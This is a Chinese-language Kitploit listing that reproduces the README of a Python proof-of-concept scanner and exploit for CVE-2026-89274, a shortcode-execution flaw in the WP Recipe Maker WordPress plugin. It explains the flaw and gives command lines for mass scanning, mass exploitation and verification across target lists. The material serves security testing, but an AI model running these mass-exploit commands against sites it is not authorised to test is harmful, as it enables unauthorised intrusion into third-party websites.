Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-89274 — Python PoC 扫描器和针对 CVE-2026-89274 的漏洞利用程序,该漏洞是 WP Recipe Maker <=10.8.1 中通过食谱评分评论和 JSON-LD 实现的未认证任意短代码执行漏洞。 | Kitploit
工具/GitHubGitHub/murrez/cve-2026-89274
漏洞扫描器漏洞分析漏洞利用脚本与自动化Web应用程序漏洞利用Web安全渗透测试
GitHubmurrez/cve-2026-89274

CVE-2026-89274

Python PoC 扫描器和针对 CVE-2026-89274 的漏洞利用程序,该漏洞是 WP Recipe Maker <=10.8.1 中通过食谱评分评论和 JSON-LD 实现的未认证任意短代码执行漏洞。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-89274 — WP Recipe Maker 任意短代码执行

针对 WP Recipe Maker 中 CVE-2026-89274 的 Python 3 PoC 扫描器/漏洞利用工具。

插件wp-recipe-maker
受影响版本≤ 10.8.1
修复版本10.8.2+
CVSS9.1(严重)
认证无需认证(提交评论)
CWECWE-94

概述

WPRM_Metadata::sanitize_metadata() 在 strip_shortcodes() 之前对元数据字段执行 do_shortcode()。已批准的食谱评分评论(wprm-comment-rating)会填充 JSON-LD 的 reviewBody;注入的短代码会在食谱页面加载时执行,并可能通过结构化数据泄露输出。

要求: 恶意评论必须处于已批准状态(自动批准或经版主批准)。漏洞利用模式可使用 --verify 确认标记出现在 JSON-LD 的 reviewBody 中。

环境要求

  • Python 3.9+
  • pip install -r requirements.txt

使用方法

root@kitploit:~
pip install -r requirements.txt

# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
  --shortcode "[caption]PROBE[/caption]" --verify --quiet

# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
  --recipe-url /some-post-with-recipe/ \
  --shortcode "[caption]PROBE[/caption]" --verify

# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
  --recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345

# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
  --output verify_submitted.jsonl --vuln-list verified_leaks.txt

submitted_mass.txt 行格式(verify 模式)

root@kitploit:~
https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345

CLI 选项

选项描述
-u, --url单个目标基础 URL
--listURL 列表、candidates.jsonl 或 submitted_mass.txt(verify)
--modecheck、exploit 或 verify
--recipe-url包含嵌入式 WPRM 食谱和评论的文章 URL
--post-idWordPress comment_post_ID
--recipe-idWPRM 食谱 ID(可选 --use-api)
--shortcode评论文本中的载荷(默认探测短代码)
--markerVerify:在 JSON-LD 中搜索标记子串
--verifyExploit:提交后确认 JSON-LD 中的泄露
--use-api同时尝试 Premium 用户评分 REST 路径
--threads, -j批量并发数(默认 20)
--outputJSONL 结果(默认 cve_2026_89274_results.jsonl)
--vuln-list命中/泄露的文本输出(默认 hits.txt)
--candidates-list检查命中的元数据(默认 candidates.jsonl)
--quiet批量运行时减少进度输出

输出(批量检查)

文件内容
cve_2026_89274_results.jsonl每个目标的 JSON
hits.txt候选基础 URL
candidates.jsonlpage_url、post_id、recipe_id、version

常见 status 值(check)

状态含义
candidate存在漏洞的版本 + 包含 wprm-comment-rating 的食谱页面
plugin_no_recipe_comments插件存在,但未找到合适的食谱/评论页面
recipe_no_comment_rating食谱页面没有评分评论表单
patched版本 ≥ 10.8.2
no_plugin未检测到 WP Recipe Maker

局限性

  • 短代码的影响取决于其他已安装的插件/主题;请使用无害的探测载荷(例如 [caption])。
  • 许多 FOFA/列表目标已修复或缺少公开的评分表单。
  • 归档 URL(/blog/、/recipes/)可能不会显示 JSON-LD 泄露;在发现页面时,漏洞利用更倾向于单个食谱的永久链接。
  • --verify 仅确认 JSON-LD 反射,而非完整的 RCE。

仓库结构

root@kitploit:~
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

本地扫描列表和运行产物(list.txt、*.jsonl、submitted_mass.txt 等)已包含在 .gitignore 中,不应提交。

法律声明

仅用于经授权的安全测试。您有责任遵守适用的法律和项目规则。

下载工具